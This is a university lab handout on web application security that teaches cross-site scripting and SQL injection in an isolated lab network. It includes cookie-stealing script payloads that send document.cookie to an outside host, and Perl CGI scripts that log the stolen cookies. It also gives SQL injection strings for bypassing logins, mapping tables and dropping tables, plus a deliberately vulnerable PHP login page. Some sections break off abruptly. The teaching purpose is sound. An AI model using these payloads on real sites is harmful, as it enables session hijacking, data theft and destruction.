Web Applications Security - Spring 2005 | ECE 4112, Lab Reports of Electrical and Electronics Engineering

Download Web Applications Security - Spring 2005 | ECE 4112 and more Lab Reports Electrical and Electronics Engineering in PDF only on Docsity! ECE4112 Internetwork Security Web Application Security Group Number: ____________ Member Names: _______________________ _______________________ Date Assigned: Month, 00, 0000 Due Date: Month 00, 0000 Last Edited on: Month 00, 0000 Lab Authored by: Chris Kelly, Chris Lewis Spring 2005 Please read the entire lab and any extra materials carefully before starting. Be sure to start early enough so that you will have time to complete the lab. Answer ALL questions on the Answer Sheet and be sure you turn in ALL materials listed in the Turn-in Checklist on or before the date due. Goal: This lab will introduce you to several security issues involving web server software and web applications. Summary: In this lab you will be learning about several techniques to attack web applications as well as how to defend against them. First you will learn about “Cross Site Scripting” and use your knowledge to experiment with a cross site scripting exploit. Then, you will learn about SQL injection and use your knowledge to break into a database driven website and then explain how to protect against such attacks. Requirements: -Windows machine running IIS (see appendix A for IIS installation instructions) -Web server with a database backend to attack -Web browser Background and Theory: 1 - Cross Site Scripting Cross Site Scripting (XSS) is when a webpage loads a script from another website and that script gets executed on the current website. This allows an attacker to get around data protection models, which typically prevent scripts from other websites from accessing a user's data about another site. This means that a carefully constructed script could allow an attacker to steal your cookie from another site. Once this occurs, the attacker could masquerade as you on that website, since after the initial authentication cookies are what the website will check for. The reason this vulnerability might exist is if a page does not parse its input. Several websites use the query string in the URL to pass data around. If a naïve web designer simply pulled the data from the query string and printed it to the screen, it is vulnerable to XSS. Let's say the page in our example is display.cgi All it does is print “Your name is “ and then the parameter in the query string. The designer is expecting a page to look like display.cgi?Fred The website would then display “Your name is Fred”. An inexperienced programmer probably wouldn't think that anyone would type anything other than the name, so would simply display this variable. However, an attacker could see this website. Knowing about XSS, they craft a url to be display.cgi?<SCRIPT>alert('Vulnerable')</SCRIPT> After loading this page, if a popup appears, the attacker now knows your page is vulnerable. Since the designer just prints directly to the screen, the web site interprets this as valid javascript so will execute it. Now that the attacker knows it is vulnerable, he or she can load a script from their own website to log data, or any other script of their choosing. Some valid examples of websites that have been vulnerable are shown below.  http://www.microsoft.com/education/? ID=MCTN&target=http://www.microsoft.com/education/? ID=MCTN&target="><script>alert(document.cookie)</script>  http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.ht ml?tw=<script>alert(‘Test’);</script>  http://www.shopnbc.com/listing.asp? qu=<script>alert(document.cookie)</ script>&frompage=4&page=1&ct=VVTV&mh=0&sh=0&RN=1  http://us.f117.mail.yahoo.com/ym/ShowFolder? ET=1&YY=12345&inc=10&order=asd%22%3E%3Cscript%20language%3D %22Javascript%22%20src%3D%22http%3A//www.site.com/test.js%22%3E%3C/ script%3E%3C%22asd [1] http://www.idefense.com/application/poi/researchreports/display?id=9 1.2 – XSS Diagrams Here is a UML diagram of how a XSS to obtain a user's cookie's might occur. people don’t usually put SQL statements into user login forms so without proper development methodologies in place, it is easy for problems like these to slip by. (A very similar form of problem is a buffer overflow that involves not checking the input to ensure it is of the proper length; SQL injection and other forms of injection are effected by malformed or unexpected input) There are probably an enormous number of web sites and applications currently in deployment that could be easily compromised using SQL injection techniques. A typical SQL injection attack starts with the attacker finding a page that could have a vulnerability. SQL statements or database information in URLs is an obvious give away, as are SQL error messages or default templates. Once example is searching Google for "Select a database to view" which yields a list of websites most likely running a web interface to Apple’s FileMaker Pro software. This usually doesn’t give us much of anything to dig around with, but searching for something such as "Warning: mysql_query()" "invalid query" will give some useful error messages that should allow further probing. Clicking on the ‘cached’ link lets us view the error message in case the web administrator has already fixed the problem and we should be able to get the names of databases, usernames, table and field names, and that sort of information. Another sign of a possible attack point is any form on a complex, dynamic website. Most dynamic websites use a database engine, and given the number of them out there, some of them have to be vulnerable to SQL injection. This lab will give you several forms on a database driven site as an example. 2.1 - SQL Injection: Bypassing authentication Once an entry point is found, it is time to map out options and see how much freedom we have with the database. The easiest test to perform is trying to bypass a login page. If the form has two fields, “myuser” and “mypass” the authentication logic probably works something like this: SELECT COUNT(*) FROM users WHERE name=’myuser’ AND password= ‘mypass’ If this statement returns something other than 0, it means that the user name matches the password and the user is allowed to log in. If we want to gain access to the system but don’t know a valid login, we can put the following in the password field: fakepassword' OR 1=1 – If the input isn’t properly sanitized, this will cause the system to process the SQL command: SELECT COUNT(*) FROM users WHERE name=’myuser’ AND password=’fakepassword’ OR 1=1 – ’ The -- is the marker that SQL uses to indicate the start of a comment so any additional information the server tries to include in the SQL command after this point will be ignored. This statement will always return a number greater than 0 and we should get access to the system. 2.2 - SQL Injection: Finding out more information Logging in without a password may be of some use, but it would be much more useful to learn more about the database, so once we have a possible point of access to the database it is time to discover more information. One typical point of entry is a password reminder page because it usually only contains one field, it usually returns some sort of feedback on a status page, and we know where it is interacting with the database. A typical SQL statement run from this page is: SELECT email FROM users WHERE name = ‘myusername’ The first step is making sure that the form is literally parsing input, which will give us the ability to tinker with the SQL. To do this, simply add a single quote or a double quote as part of the input such as: Username: myfake’user”name If successful, this should yield a page with an Error 500 Server Failure message, or a more detailed SQL error message about a malformed SQL statement. If not successful, the system will only yield a message such as “invalid user name.” For this explanation we will assume that the system is literally parsing input. Next, in a similar method to the bypassing authentication method above, we will obtain an email address. The system prints out an email address when an email is sent so if we convince the system to send an email, we can find out an address. Usually the information returned will be the first row of the result set, but occasionally we may get a listing of every single address in the system. We can achieve this with the following input the recover password form: fakename' OR 1=1 --‘’ This results in the following SQL statement being executed by the system, which should give us back a valid email address in the status message: SELECT email FROM users WHERE name =’fakename’ OR 1=1 -- '’ This information isn’t directly useful to us at this point to continue exploring, but depending on our reasons for performing this attack, it may be exactly what we are looking for. Up next is mapping out the tables, fields, and actual information in the database. The various mapping techniques follow the same pattern as above. Adding these to the end of an unfiltered input box in a form will give you access to information fakename’ AND fieldname IS NULL -- ' This will give an error message if the field doesn’t exist, and will work normally if the field does exist. fakename’ AND 1=(SELECT COUNT(*) FROM tablename) – ‘ This will give an error message if the table doesn’t exist, and will work normally if the table does exist. The best way to get information is by using the LIKE command, as this should change the first item returned and should give some useful information. One example of this is finding users: fakename’ OR fullname LIKE ‘%Bob%’ -- ‘ Lastly, if we want to try and brute force a password but the system places some restrictions on how quickly the form can be submitted or how many times a certain IP address can fail, we can use SQL injection to try and guess the password directly: fakename’ OR email=’someone@example.com’ AND password=’hello123’ -- ' 2.3 - SQL Injection: Doing some damage Once we know how the layout of the database, and if the user the system is connecting to the database as has write access, we can do some serious damage. There isn’t usually a way to see the direct output of this kind of damage but we can use the mapping methods mentioned above to see if our changes have taken place, and error messages should show up if access is denied for permissions reasons. The three ways to modify data that may be useful to us are DROP, INSERT, and UPDATE. Each one can be executed by appending a command to the end of our input field that has the injection vulnerability. An example: fakename’; DROP table test -- ' This in the input box causes the following SQL command to be executed: SELECT email FROM users WHERE name=’fakename’; DROP table test --‘’ The ; is the command separator in SQL so the SELECT command will then be executed as a stand alone command and then the DROP command will be executed on its own. If successful, it will seem as if the system behaved as usual, sending out the email notification. If unsuccessful we will get an error message that may help us determine a different way to go about this attack. Once we know this works there are several things we can try: mv test.cgi /var/www/cgi-bin/ cd /var/www/cgi-bin chmod 777 index.cgi chmod 777 test.cgi Now use vim and open the test.cgi site.There are 3 links of the form <a href=\”X.X.X.206 Change these to be the IP of your Redhat 8 install Now on your windows XP machine, open Internet Explorer and navigate to X.X.X.206/cgi-bin/test.cgi. You should see the page shown below: There are some basic instruction there as you go along, and this will also step you through it. The first thing to note is your session cookie is shown at the top of the page. It is generated by javascript random number generator, and changes every time you refresh the page. This is the cookie we will be stealing. All 3 pages link to the same CGI page – index.cgi. This page simply prints out anything that is passed to it in the query string. Click the first link that is present on the page – the URL you will be visiting is http://X.X.X.206/cgi-bin/index.cgi?Ronaldo As expected, the site prints out the name that was passed to it. If you were to change the name, you can add any characters and symbols, and the website will display them all. Question 1.1: What would be an easy way to see if a site is vulnerable to XSS (Hint: think javascript alert)? The second link takes you to the same site – however this time it has a very different querystring http://X.X.X.206/cgi-bin/index.cgi?<script>document.location='http:// SERVER_IP/cgi-bin/steal.cgi?'+document.cookie</script> Instead of “Rhonda” as the query string as before, it now contains some script (Javascript) tags. The script will relocate the browser to navigate to the steal.cgi script at the website SERVER_IP – a different domain than our current site!! This is where the name Cross Site comes from. Along with relocating the website to the new script, it adds as the query string the cookie for our current website. This allows for the other site to have access to it – typically other sites can not access cookies on a different site. Click on the link. Once it works, you should see a page similar to the one below: SSH to SERVER_IP and navigate to the cgi-bin. In there, a file should exist called “stolen_cookie_file” Looking at this, you should be able to tell what the steal.cgi script does Question 1.2: What data has the script logged to the file “stolen_cookie_file” ? Leave that terminal open – you will need to check it again in a few minutes. Go back to IE and click the link to return to the main page. One thing you might be thinking is that in the real world, an attacker would never put up a nice notice for you that they were just able to steal your information. In reality, they will try to do it as transparently as possible. Our second link does just that. I http://X.X.X.206/cgi-bin/index.cgi?<script>document.location='http:// SERVER_IP/cgi-bin/steal2.cgi?'+document.cookie</script> The only difference is that this link goes to a script called “steal2.cgi” instead of “steal.cgi”. Whereas our first script displayed a message saying our cookies were stolen and then logging our information, steal2 immediately redirects us to our final destination (which will be the same page we are currently at) as well as logging the date. Follow Link #3. You should be immediately returned to where you were. If this were the real world and you were browsing around, you would have been taken to a new site. However, since our mininets are limited to where they connect, we chose to redirect it to itself. The delay was so short that you might not have even realized you were funneled to the attacker's script. Now that you have clicked the second link, return to the terminal you have open and view the stolen_cookie_file file again. Notice that it now has a new entry in there with your cookie and IP – proof that you did in fact visit the steal2.cgi script. Screenshot 1.1: Take a screenshot of the log file, with it showing a line from each script. Question 1.3: Try viewing the test.cgi site from any of your RedHat machines. What happens? Why do you think the Mozilla browser does this? The source files to all four scripts (test.cgi, steal.cgi, steal2.cgi, and index.cgi) are included in Appendix A. Part 2: SQL Injection For this part of the lab you will be using the SQL injection skills you learned above to explore a simulated vulnerable host and then explain how to protect against such attacks. We will be looking at http:// 10.0.1.34 /login.php Firstly, you should bypass login security using the OR method. Use “groupXX” as the user name where XX is your group number. (This is not a valid user of the system) Attach a screenshot of the page that shows you were successful. (Screenshot #2.1) Next we are going to look at the recover password page. Attach a screenshot that shows proof that it is literally parsing user input. The best example of this is an error message due to malformed input. (Screenshot #2.2) Then, using the recover password page, map out the tables ad fields of the database. This sort of attack involves a lot of guessing, so if you think you have spent enough time, move on to the next section. Possible ways to do this involve using the COUNT and IS NULL methods mentioned above, but you may be able to figure out others. (Hint: there steal2.cgi #!/usr/bin/perl -w use strict; # steal.cgi by David Endler dendler@idefense.com # create log file of cookies open(COOKIES, ">>stolen_cookie_file"); print "Content-type:text/html\n\n"; print "<HTML><HEAD><TITLE>Cookie Stealing</TITLE></HEAD> <BODY> <SCRIPT>document.location='http://"; my $var = $ENV{'REMOTE_ADDR'}; $var =~ s/.209/.206/gi; print $var; print "/cgi-bin/test.cgi';</SCRIPT> </BODY> </HTML>"; # QUERY_STRING environment variable should be filled # with the cookie text after steal.cig: # http://www.attacker.com/steal.cgi?XXXXX print COOKIES "Steal2.cgi: $ENV{'QUERY_STRING'} from $ENV{'REMOTE_ADDR'}\n"; test.cgi #!/usr/bin/perl -w use strict; print "Content-type: text/html\n\n"; print "<HTML>"; print "<HEAD><TITLE>Demonstration</TITLE></HEAD>"; print "<SCRIPT>var ran = Math.floor(Math.random()*1000); document.cookie = ran;</SCRIPT>"; print "</HEAD>"; print "<BODY>"; print "<BR><BR>"; print "Your cookie for the session is <SCRIPT>document.write(document.cookie);</SCRIPT><BR><BR>"; print "The links below both take you to the same page. It is a cgi site, and all it does is"; print " print any input passed to it"; print "<BR><BR>"; print "Our first link simply passes a name to the website -- see what happens when you click it"; print "<BR><BR>"; print "<a href=\"http://57.35.6.206/cgi-bin/index.cgi?Ronaldo\">My name is Ronaldo</a>"; print "<BR><BR>"; print "The link below has been carefully constructed to allow a script to be run"; print "<BR><BR>"; print "<a href=\"http://57.35.6.206/cgi-bin/index.cgi?"; print "<script>document.location=\'http://57.35.6.206/cgi-bin/steal.cgi?\'+document.cookie</ script>"; print "\">Check this out</a>"; print "<BR><BR>A malicious script has just executed and your cookie has been stolen. The attacker "; print "was nice enough to display a message for you. However, the attack can be done so that you might"; print " not even know it has occured, as will happen if you click the link below"; print "<BR><BR>"; print "<a href=\"http://57.35.6.206/cgi-bin/index.cgi?"; print "<script>document.location=\'http://57.35.6.206/cgi-bin/steal2.cgi?\'+document.cookie</ script>"; print "\">Attack #2</a>"; print "<BR><BR>"; print "You might not even realize that you were passed to the malicious script and then passed onward"; print " to your final destination (which happens to be the same page) if you were just browsing "; print "the web"; print "</BODY></HTML>"; Appendix B: Source listing for SQL Injection site Login.php <html> <head><title>Login</title></head> <body> <?php /* logs a user into the system */ $login = $_POST['login']; $pass = $_POST['pass']; /** * strip slash escapes for quotes from the input just in case php is doing * this automatically. This allows the SQL Injection to work and without * this, there wouldn't be a good way to demo SQL Injection with php and I * don't feel like learning ASP and setting up IIS just so it can have * the security problem by default :) */ if(get_magic_quotes_gpc() == 1) { $login = stripslashes($login); $pass = stripslashes($pass); } if ($login != '') { $link = pg_connect("host=localhost dbname=somebank user=somebankview password=somebankview") or die(pg_last_error()); $query = "SELECT COUNT(*) FROM users WHERE login='".$login."' AND pass='".$pass."'"; $result = pg_query($query) or die(pg_last_error()); $line = pg_fetch_array($result) or die(pg_last_error()); if ($line[0] > 0) { print("Successfully logged in user ".$login."!"); } else { print("Sorry! Bad user name or password"); } } else { ?> <form name="loginform" action="<?php echo $PHP_SELF; ?>" method="post"> UserId: <input type="text" name="login" size="35" /><br /> Turn-in Checklist Turn in:  Answer Sheet  Screenshots o 1 for section 1 o 2 for section 2  Any comments or additions Web Application Security Answer Sheet Group Number: ____________ Member Names: _______________________ _______________________ Part 1: XSS (Cross Site Scripting) and JavaScript injection Question 1.1: What would be an easy way to see if a site is vulnerable to XSS (Hint: think javascript alert)? Question 1.2: What data has the script logged to the file “stolen_cookie_file” ? Screenshot 1.1: Take a screenshot of the log file, with it showing a line from each script. Question 1.3: Try viewing the test.cgi site from any of your RedHat machines. What happens? Why do you think the Mozilla browser does this? Part 2: SQL Injection Screenshot 2.1: Bypassing login security Screenshot 2.2: Verifying that input is being literally parsed Question 2.1: What tables and fields were you able to map out? Question 2.2: What information were you able to get from the database? Why or why not? Question 2.3: What kind of access to we have? How do you know? Question 2.4: How would you fix the code?